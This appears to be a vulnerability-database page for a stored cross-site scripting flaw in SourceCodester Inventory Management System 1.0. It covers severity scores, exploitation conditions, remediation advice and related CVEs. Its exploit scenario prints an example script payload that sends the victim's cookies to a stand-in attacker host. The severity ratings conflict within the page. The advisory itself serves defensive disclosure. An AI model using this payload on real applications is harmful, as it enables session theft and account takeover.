Skip to main content

Inventory Management System CVE-2026-90695

| EUVDEUVD-2026-77320 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-09-14 VulDB GHSA-9rj3-rpvf-xpx5
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege account
  2. Delivery
    Submit XSS payload via vendor management form
  3. Exploit
    Payload stored in vendor record
  4. Execution
    Victim loads vendor listing page
  5. Persist
    Injected script executes in victim's browser
  6. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid low-privilege account on the Inventory Management System (PR:L per CVSS 4.0 vector). A victim user with a separate session must subsequently view the page where the injected vendor data is rendered (UI:P). The vulnerable endpoint is /api/vendors_handler.php within the Vendor Management feature - this feature must be accessible and in active use. Exploitation is limited by: (1) the authentication requirement, preventing unauthenticated attacks; (2) the need for a second victim to trigger script execution; (3) the niche, low-footprint deployment base of SourceCodester scripts. No special non-default configuration is required beyond having the application installed and accessible over a network.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/E:P) scores 5.1 (Medium), reflecting that exploitation requires both low-privilege authentication and passive victim interaction - the victim must navigate to or reload the affected vendor listing. No confidentiality impact is reflected in the vector's VC:N metric, though real-world XSS frequently enables session token theft (a gap worth noting). No KEV listing exists, and no EPSS data was provided in the input. A public PoC is confirmed via GitHub gist, which modestly raises real-world exploitability. SourceCodester applications are primarily used in non-production, educational, or small-business contexts, which further limits real enterprise exposure. Overall, this is a medium-severity finding: technically straightforward to exploit once authenticated, but gated by auth requirements, user interaction, and a low-footprint deployment base.

Exploit ScenarioDerived

An authenticated low-privilege user submits a vendor record with a crafted payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) in a vendor name or description field via /api/vendors_handler.php. When an administrator or another authenticated user subsequently loads the vendor listing page, the injected script executes in their browser, exfiltrating session cookies or performing actions under their identity. A public PoC demonstrating this technique is available via the referenced GitHub gist.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 14, 2026

Cross-site scripting in SourceCodester Inventory Management System 1.0 allows authenticated remote attackers to inject and execute arbitrary client-side scripts via the /api/vendors_handler.php Vendor Management endpoint. A public proof-of-concept exploit has been published on GitHub (gist by fhewm98), confirming the issue is reproducible. Exploitation requires low-privilege authentication and victim interaction, limiting blast radius, but successful attacks can hijack sessions, redirect users, or perform unauthorized actions on behalf of the victim.

RemediationAI

No vendor-released patch has been identified at time of analysis. The VulDB advisory (https://vuldb.com/cve/CVE-2026-90695) is the primary disclosure reference, but SourceCodester has not published a formal security advisory or patched release. Developers using this codebase should apply output encoding in /api/vendors_handler.php using PHP's htmlspecialchars() with ENT_QUOTES on all user-controlled data before rendering it in HTML context. Implementing a Content Security Policy (CSP) header with script-src 'self' provides a meaningful defense-in-depth layer that would block injected inline scripts. Input validation on vendor name and related fields at the server side reduces injection surface. Restricting access to the vendor management API to trusted internal users or roles reduces attack surface while a code-level fix is applied.

Affected VersionsENISA

Inventory Management System 1.0

Affected Packages

euvd inventory_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SourceCodester Inventory Management System is a free PHP-based web application distributed via sourcecodester.com, primarily targeting small businesses and educational use cases. The affected component /api/vendors_handler.php handles CRUD operations for vendor records. CWE-79 (Improper Neutralization of Input During Web Page Generation) indicates the application fails to sanitize or encode attacker-controlled input before embedding it into HTML responses, allowing injection of executable <script> tags or event-handler attributes. The CPE cpe:2.3:a:sourcecodester:inventory_management_system:*:*:*:*:*:*:*:* covers version 1.0 as the confirmed affected release.

Know when Inventory Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Network-reachable XSS requires low-privilege auth (PR:L), victim interaction (UI:R), scope changes to victim browser (S:C), with low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 14, 2026 - 08:22 NVD
MEDIUM LOW
CVSS changed
Sep 14, 2026 - 08:22 NVD
5.1 (MEDIUM) 2.0 (LOW)
CVE Published
Sep 14, 2026 - 07:45 cve.org
MEDIUM 5.1

DescriptionCVE.org

A vulnerability was found in SourceCodester Inventory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /api/vendors_handler.php of the component Vendor Management. Performing a manipulation results in cross site scripting. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Low
free educational PHP script, limited enterprise deployment
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-4749 CRITICAL POC
9.8 Sep 04

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4558 CRITICAL POC
9.8 Aug 27

A vulnerability classified as critical was found in SourceCodester Inventory Management System 1.0. Rated critical sever

CVE-2023-4436 CRITICAL POC
9.8 Aug 20

A vulnerability, which was classified as critical, has been found in SourceCodester Inventory Management System 1.0.php.

CVE-2023-4201 CRITICAL POC
9.8 Aug 07

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

CVE-2023-4200 CRITICAL POC
9.8 Aug 07

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-46449 HIGH POC
8.8 Oct 26

Sourcecodester Free and Open Source inventory management system v1.0 is vulnerable to Incorrect Access Control. Rated hi

CVE-2023-4449 HIGH POC
8.8 Aug 21

A vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0. Rated high severity (C

CVE-2023-4199 HIGH POC
7.5 Aug 07

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated hi

CVE-2023-4557 CRITICAL
9.8 Aug 27

A vulnerability classified as critical has been found in SourceCodester Inventory Management System 1.0. Rated critical

CVE-2023-4438 CRITICAL
9.8 Aug 20

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-4437 CRITICAL
9.8 Aug 20

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4184 CRITICAL
9.8 Aug 06

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy